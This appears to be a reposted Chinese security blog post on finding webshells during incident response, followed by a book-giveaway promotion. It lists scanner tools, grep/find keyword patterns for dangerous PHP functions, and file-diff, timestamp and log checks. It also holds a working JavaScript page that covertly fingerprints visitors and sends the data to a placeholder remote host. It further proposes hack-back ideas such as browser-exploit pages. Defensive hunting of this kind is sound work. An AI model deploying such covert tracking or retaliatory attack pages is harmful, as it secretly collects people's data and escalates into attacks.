一、前言
溯源排查中比较重要的一环是web突破口排查,攻击者通过web突破口入侵时,有极大的概率会写入webshell,本文介绍下常见的webshell排查方法和流程。
二、工具查杀
使用d盾、安全狗、护卫神等webshell查杀工具查杀web目录
1、d盾:
http://www.d99net.net/
3、网站安全狗:
https://www.safedog.cn/website_safedog.html
3、百度webshell查杀引擎:
https://scanner.baidu.com/#/pages/intro
三、手工查杀
由于某些变种webshell查杀工具很难发现,所以有些时候需要手工从其他维度去查杀,比如修改时间,日志,备份对比等。
1、上传目录关键字查找
上传目录是最有可能存在webshell的,一般来说需要优先排查上传目录
脚本代码排查
grep -rn php upload/
关键字排查
eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等关键字
find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_POST[|eval(|file_put_contents|base64_decode'
2、web非上传目录排查增删查改
如果上传目录没有发现webshell,那么有可能攻击者使用了除web上传接口的其他途径写入了文件,如命令执行等,此时需要排查web目录的非上传路径。
备份对比
对比非常传目录前后文件变动,寻找可疑文件,再进一步关键字匹配分析
vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort)
3、时间戳排查
跟据情况调取短期内改动文件分析
find / -mtime -10 -mtime +1 2>/dev/null
4、文件名排查
使用tree命令列举整个web目录文件,然后排查可疑文件
windows linux都可用
tree /var/www/
5、日志排查
cat /var/log/apache2/access.log | grep "antSword"
四、反向利用
1、篡改webshell页面利用js获取攻击者信息。
利用js获取信息例子
可获取对方ip、系统时间、浏览器各项信息等
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<script>
Date.prototype.Format = function (fmt) {
var o = {
"M+": this.getMonth() + 1, // 月份
"d+": this.getDate(), // 日
"h+": this.getHours(), // 小时
"m+": this.getMinutes(), // 分
"s+": this.getSeconds(), // 秒
"q+": Math.floor((this.getMonth() + 3) / 3), // 季度
"S": this.getMilliseconds() // 毫秒
};
if (/(y+)/.test(fmt))
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
}
</script>
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script>
document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"</br>")
</script>
<script type="text/javascript">
let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
document.write(time+"</br>")
</script>
<script type="text/javascript">
document.write("userAgent: " + navigator.userAgent + "<br>");
document.write("appName: " + navigator.appName + "<br>");
document.write("appCodeName: " + navigator.appCodeName + "<br>");
document.write("appVersion: " + navigator.appVersion + "<br>");
document.write("appMinorVersion: " + navigator.appMinorVersion + "<br>");
document.write("platform: " + navigator.platform + "<br>");
document.write("cookieEnabled: " + navigator.cookieEnabled + "<br>");
document.write("onLine: " + navigator.onLine + "<br>");
document.write("userLanguage: " + navigator.language + "<br>");
document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "<br>");
document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "<br>");
document.write("plugins.description: " + navigator.plugins[3].description + "<br>");
var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
var url = "http://xx.xx.xx.xx:8000/?info="+str_all
var request = new XMLHttpRequest();
request.open("GET",url)
request.send();
</script>
</body>
</html>
然后接收服务器写一个小处理脚本将其保存下来
为求方便也可以使用xss平台来接收
2、利用浏览器漏洞反制攻击者。
可架设攻击浏览器历史漏洞的页面,但是成功概率不高。
3、反制webshell管理工具
可参考文章《端内钓鱼,反制蚁剑》
https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ
原文作者:Leticia
原文地址:http://uuzdaisuki.com/2022/01/01/webshell%E6%BA%AF%E6%BA%90%E6%8E%92%E6%9F%A5%E4%B8%8E%E5%8F%8D%E5%88%B6/
赠书福利
一:人工智能算法基础
本书立足于理论,从实例入手,将理论知识和实际应用结合,目标是让读者能够快速地熟悉人工智能中经典算法。全书分为4篇,共20章。其中第1篇为基础算法篇,主要讲述排序、查找、线性结构、树、队列、散列、图、堆栈等基本数据结构算法;第2篇为机器学习算法篇,主要讲述分类算法、回归算法、聚类算法、降维算法和集成算法;第3篇为强化学习算法篇,主要讲述基于价值的强化学习算法和基于策略的强化学习算法;第4 篇为深度学习算法篇,主要讲述神经网络模型算法、循环神经网络算法和卷积神经网络算法等内容。
二:硬件十万个为什么(无源器件篇)
三:Python数据分析与可视化从入门到精通
为了感谢大家一直以来的关注与支持,会有三本书籍免费赠送。
规则如下:
1. 本文末点‘在看’,不需要转发朋友圈,点个‘在看’就可以。
2. 私聊文末公众号发送“赠书”即可扫描参与抽奖,注意看是发送暗号“赠书”。
3. 中奖者不满足条件1,视为放弃中奖资格。
4. 活动截止时间为4月22日 16:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!
先点“再看”,然后点击下方公众号私聊发送“赠书” 即可马上扫描参与抽奖
原文始发于微信公众号(LemonSec):webshell溯源排查与反制【文末赠书】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论